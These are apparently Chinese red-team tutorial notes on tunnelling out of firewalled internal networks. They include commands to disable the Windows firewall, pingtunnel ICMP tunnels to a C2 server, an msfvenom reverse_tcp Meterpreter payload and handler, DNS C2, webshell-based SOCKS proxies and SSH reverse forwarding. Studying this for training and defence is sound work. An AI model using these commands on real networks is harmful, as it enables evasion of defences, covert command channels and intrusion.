内网对抗-隧道技术篇&防火墙组策略&HTTP反向&SSH转发&出网穿透&CrossC2&解决方案

#防火墙策略-入站规则&出站规则&自定义

1、防火墙默认入站&出站策略

2、防火墙自定义入站&出站策略

内网域防火墙同步策略:

操作:组策略管理-域-创建GPO链接-防火墙设置

更新策略:强制&命令&重启

命令:gpupdate/force

限制端口分为:入站限制端口、出站限制端口、出入站均限制端口。

入站限制端口,出站未限制端口,使用反向连接。

出站限制端口,入站未限制端口,使用正向连接。

出入站均限制端口,使用端口绕过进行连接,建议配合反向连接。

限制协议分为:

入站限制、出站限制、出入均限制,限制又分为:单协议限制、多协议限制、全部限制。

入站限制:

单协议限制,使用其它协议或者反向连接绕过。(隧道技术)

多协议限制,使用未被限制的协议或者反向连接绕过。(隧道技术)

全部协议限制,使用放弃或者反向连接绕过,但正常不会将所以协议都封闭的。

出站限制:

参考上面使用正向连接绕过。

出入均限制:

单协议限制,使用其它协议绕过。(隧道技术)

多协议限制,使用未被限制的协议绕过。(隧道技术)

全部协议限制,使用放弃绕过,但正常不会将所以协议都封闭的。

单层目标机防火墙开启上线解决方案:

1、命令关闭防火墙

2、反向中转连接上线

3、利用隧道技术上线(规则决定)

单层跳板机防火墙开启上线解决方案:

1、命令关闭防火墙

2、正向监听连接上线

3、利用隧道技术上线(规则决定)

双层防火墙开启上线解决方案:

1、命令关闭防火墙

2、利用隧道技术上线(规则决定)

防火墙实验(适用场景):

1、内网无域环境下

2、内网有域环境下(强制策略同步)

Windows防火墙命令:

参考:https://www.cnblogs.com/tomtellyou/p/16300557.html

查看当前防火墙状态:netsh advfirewall show allprofiles

关闭防火墙:netsh advfirewall set allprofiles state off

开启防火墙:netsh advfirewall set allprofiles state on

恢复初始防火墙设置:netsh advfirewall reset

启用桌面防火墙: netsh advfirewall set allprofiles state on

设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound

如果设置为拒绝使用blockinbound,blockoutbound

学隧道前先搞清楚

0、不是有互联网才叫出网

1、C2常见上线采用的协议

2、常见的协议层出网判断

常用的隧道技术:

利用各种隧道技术,以网络防火墙允许的协议,

绕过网络防火墙的封锁,实现访问被封锁的目标网络

网络层:IPv6 隧道、ICMP 隧道

传输层:TCP 隧道、UDP 隧道、常规端口转发

应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

协议 判断命令

ICMP ping ip or domain

HTTP curl ip or domain

SSH ssh ip or domain

DNS nslookup domain

TCP telnet ip port

... ................

#C2上线-开防火墙入站只80&出站只放ICMP:

ICMP 通过 PING 命令访问远程计算机,建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中,从而穿过防火墙,防火墙一般不会屏蔽 PING 数据包,实现不受限制的访问。

应用场景:80为入口权限点,ICMP为上线突破口

适用场景:目标入站正向被拦截,出站有ICMP出网

排查出网协议:curl nslookup ping等命令

https://github.com/esrrhs/pingtunnel

CS:

./pingtunnel -type server

pingtunnel -type client -l :6666 -s 192.168.139.141 -t 192.168.139.141:7777 -tcp 1 -noprint 1 -nolog 1

监听器配置:

127.0.0.1 6666(后门)

192.168.139.141 7777

MSF:

pingtunnel -type client -l :3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -o msf.exe

监听器配置:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 3344

run

#C2上线-开防火墙入站只80&出站只放DNS:

应用场景:80为入口权限点,DNS为上线突破口

适用场景:目标入站正向被拦截,出站有DNS出网

排查出网协议:curl nslookup ping等命令

CS:

-域名申请及配置

-监听器创建及配置

-后门绑定监听器生成

checkin

mode dns-txt

MSF:

pro版本的reverse_dns模块

https://zhuanlan.zhihu.com/p/424351656

https://blog.csdn.net/vspiders/article/details/78999624

#C2上线-SMB-开防火墙入站只445:

SMB一般在防火墙入站默认是开启的,判断目标端口是否开放

适用场景:防火墙放行的入口打不下利用放行的SMB移动获取权限

利用条件:密码喷射或已知口令的情况下直接正向SMB横向移动拿下

#后续穿透问题

1、Pingtunel配合iox代理Socks内网穿透

2、dnscat2(DNS)配合上线

C2:

接收客户端传递的ICMP

./pingtunnel -type server -noprint 1 -nolog 1 -key 000000

将本地4455转至5566端口

./iox proxy -l 4455 -l 5566

Web

将本地2222的TCP封装IMCP给192.168.139.141:4455

pingtunnel -type client -l 127.0.0.1:2222 -s 192.168.139.141 -t 192.168.139.141:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000

建立SockS节点绑定3389端口:

iox.exe proxy -r 127.0.0.1:2222

#HTTP隧道搭建内网穿透:(解决目标出站限制做信息收集)(http主要是为了解决通讯问题的 不是上线cs的)

2访问3由于出战限制 无法进行访问 但可以用下面工具进行访问

-项目Neo-reGeorg

https://github.com/L-codes/Neo-re Georg

1、设置密码生成(aspx|ashx|jsp|jspx|php)并上传

2、使用neoreg.py连接WEB服务器,在本地建立连接

3、Proxifier添加socks5服务器并配置连接规则测试

同类推荐项目:

https://github.com/zema1/suo5

https://github.com/nccgroup/ABPTTS

-哥斯拉&冰蝎

哥斯拉:HttpProxy

冰蝎:内网穿透(本地监听端口是使用者的电脑进行访问 不是跳板机上进行访问的)

#HTTP隧道搭建上线C2:(解决目标出站限制上线C2)

太多时候遇到目标不出网了,TCP、ICMP、DNS协议均不通,

无法直接与公网的CS/MSF/Sliverd等其他C2服务端建立连接。

1、内网穿透建立HTTP隧道穿透

2、将远程IP正向后门端口转发本地端口

3、CS生成绑定正向后门,连接本地端口

#SSH隧道搭建内网穿透:(解决目标出站限制做信息收集)

注:由于CS无SSH协议监听器配置,无法上线

1、环境复现搭建:

如:模拟Linux为被控机,配置防火墙策略

iptables -F /* 清除所有规则 */

iptables -A INPUT -p tcp --dport 22 -j ACCEPT /*允许包从22端口进入*/

iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /*允许从22端口进入的包返回*/

iptables -A OUTPUT -p udp --dport 53 -j ACCEPT /* 域名解析端口,一般不开 */

iptables -A INPUT -p udp --sport 53 -j ACCEPT /* 域名解析端口,一般不开 */

iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT /*允许本机访问本机*/

iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT

iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT /*允许所有IP访问80端口*/

iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT

iptables-save > /etc/sysconfig/iptables /*保存配置*/

iptables -L /* 显示iptables列表 */

如:模拟Windows为被控机,配置防火墙策略:SSH 22端口放行

自己的服务器记得开启ssh协议登录:

vi /etc/ssh/sshd_config

PermitRootLogin yes

PasswordAuthentication yes

/etc/init.d/ssh start

/etc/init.d/ssh restart

2、适用场景:

内网主机防火墙限制了出网协议,可以利用SSH转发流量实现内网穿透(内网穿透就是解决网络不可达的问题)

3、需要条件:(解决目标出站限制)

被控主机需支持SSH协议(Windows需要安装支持软件)

将2.22上80端口流量转发到xx.xx上的1234端口(2.22是目标机器)

ssh -CfNg -R 1234:192.168.2.22:80 root@xx.xx.xx.xx

curL http://127.0.0.1:1234

#控制上线-插件-Linux&Mac&IOS&Android

https://github.com/gloxec/CrossC2

面向Linux Mac IOS Android系统上线支持

1、插件使用

2、命令使用

使用参考:

https://gloxec.github.io/CrossC2/zh_cn/

目前版本只支持反向的https和正向的tcp

1、下载对应版本加载器和CNA插件

2、上传加载器文件和本地加载CNA插件

3、修改CNA插件配置路径及上传Key文件

4、使用命令或插件绑定HTTPS监听器生成

相关推荐
丁丁丁梦涛5 分钟前
EMQX配置 ssl 和 wss
网络·网络协议·ssl·emqx·wss
繁华似锦respect1 小时前
C++ unordered_map 底层实现与详细使用指南
linux·开发语言·c++·网络协议·设计模式·哈希算法·散列表
Wokoo71 小时前
HTTP不同版本核心对比
网络·网络协议·tcp/ip·http·udp·ssl
乾元2 小时前
AI + Jinja2/Ansible:从自然语义到可执行 Playbook 的完整流水线(工程级深度)
运维·网络·人工智能·网络协议·华为·自动化·ansible
ZhengEnCi2 小时前
一次多线程同步问题的排查:从 thread_count 到 thread.join() 的踩坑之旅
python·网络协议·tcp/ip
oxygen-12043 小时前
https nginx步骤
网络协议·http·https
路由侠内网穿透.3 小时前
本地部署问答社区 Apache Anwser 并实现外部访问
服务器·windows·网络协议·apache·远程工作
科技块儿4 小时前
简单易学的IP定位查找教程
网络·网络协议·tcp/ip
通往曙光的路上5 小时前
WebSocket
网络·websocket·网络协议
什么时候才能变强6 小时前
使用 k6 对 WebSocket 测试
网络·websocket·网络协议·k6